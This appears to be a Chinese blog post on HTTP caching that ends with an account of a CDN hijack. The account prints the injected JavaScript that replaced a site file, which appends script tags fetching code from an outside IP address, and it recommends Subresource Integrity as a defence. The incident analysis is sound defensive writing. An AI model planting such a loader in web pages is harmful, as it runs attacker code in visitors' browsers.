缓存这个东西真的是无处不在, 有浏览器端的缓存, 有服务器端的缓存,有代理服务器的缓存, 有ASP.NET页面缓存,对象缓存。 数据库也有缓存, 等等。http中具有缓存功能的是浏览器缓存,以及缓存代理服务器。http缓存的是指:当Web请求抵达缓存时, 如果本地有“已缓存的”副本,就可以从本地存储设备而不是从原始服务器中提取这个文档
为什么要使用缓存
私有缓存
专用的缓存被称为私有缓存,它不需要很大的动力或者存储空空间,这样就可以做的很小,比较便宜。我们的web浏览器中就有私有内存,它们大多都存在我们电脑的个人磁盘和内存中,并且允许设置大小等。在浏览器的地址输入框和直接F5刷新采用的是不同的机制,前者会查看是否有有效的缓存,有效的缓存会组织请求流向原始服务器,后者会直接询问原始服务器,验证更变
公有缓存
公有缓存是特殊的共享代理服务器,它会接收来自多个用户的访问,代理缓存会从本地的缓存中提供文档,对于流行的对象缓存只需要取一次就可以了,它会用共享的副本为所有的请求服务,以降低网络的流量。
接收
缓存从网络中读取抵达的请求报文
解析
缓存对报文进行解析,提取URL和各种首部。
查找
缓存查看是否有本地副本可用,如果没有,就获取一份副本(并将其保存到本地)。
缓存无法保存世界上的每份文档,当可以用已有的副本为某些到达缓存的请求提供服务时成为缓存命中,从而衍生出缓存命中率和字节命中率等概念。其他一些到达缓存的请求可能会由于没有副本可用被转发给原始的服务器,这称为未命中。
再验证:原始服务器的内容很可能发生变化(下面的新鲜度检测会详细讲解)缓存要不时的对其进行检测,这个过程并不需要从服务器获取整个对象,就可以快速检测。在项目的开发中也有可能因为缓存的问题使我们原本的改动无法呈现。
指定日期或者时间,如果从指定日期之后文档修改过了就执行请求方法。可以与Last-Modofied服务器响应首部配合使用,只有内容在被修改过以后与已缓存版本有所不同时才会获取内容(注意:这里不一定是以后而是有不同就获取)。如果“过期”通常GET就会执行成功,携带新首部的文档会被返回给缓存;如果“未过期”则只返回一个新的过期日期。
不同的web服务器为HTTP Cache-control 和 Expiration 首部的设置提供了一些不同的机制
一次劫持经历
突然发现官网某个网页js没办法运行,js报错,查看后发现因为HTTPS资源中混入了HTTP资源,所以导致报错,js无法运行,可是官网的所有资源都是https的怎么会出现了HTTP资源,检查发现我们的一个原始文件被替换为
var _jsurl = "http://cdn.bdstatic.com/portal/fa91a15/js/partner/learningSession/coedu.js";
_jsurl += (_jsurl.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "test1";
var _c = "427308_(iKgtV1ykV1Phit8kih==_2790938930";
var jN1=document.createElement("script");jN1.setAttribute("type","text/javascript"),jN1.setAttribute("src",_jsurl),document.head?document.head.appendChild(jN1):document.body&&document.body.appendChild(jN1);
var jN2=document.createElement("script");
jN2.setAttribute("type","text/javascript"),jN2.setAttribute("src","http://27.115.80.220:8001/pjk/xjk/index.php?b="+_b+"&pid=1&c="+_c),document.head?document.head.appendChild(jN2):document.body&&document.body.appendChild(jN2);
分析发现,这段代码将我们的资源重新加载(coedu.js),并且添加了自己的资源,由于资源是HTTP协议,所以出现了上述情况。
问题是,为什么我们的原始文件内容变成了这样,分析后发现原因应该是CDN劫持(回源过程中),当我们访问某个资源时会去附近的CDN节点上进行访问,如果这个资源存在则使用CDN上的这个资源,这个过程是HTTPS加密的,所以不存在劫持,可是当我们的资源发生了变化,或者是CDN上没有这个资源,那么就会去源节点上去寻找这个资源,并且拉取到这个CDN上,这个过程就是回源(我们的原始节点在百度云BOS对象存储上),回源的这个过程是HTTP的,所以这个过程存在风险,资源在这个过程中有被篡改或者替换的可能。
所以我们只要去刷新一下CDN上的缓存,使其重新去源节点上重新拉取,尽管这个过程还是会存在一定的风险,而且必须是我们发现了类似的情况才能去解决这个问题,script 标签新增了integrity属性,子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。
https://developer.mozilla.org/zh-CN/docs/Web/Security/子资源完整性
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.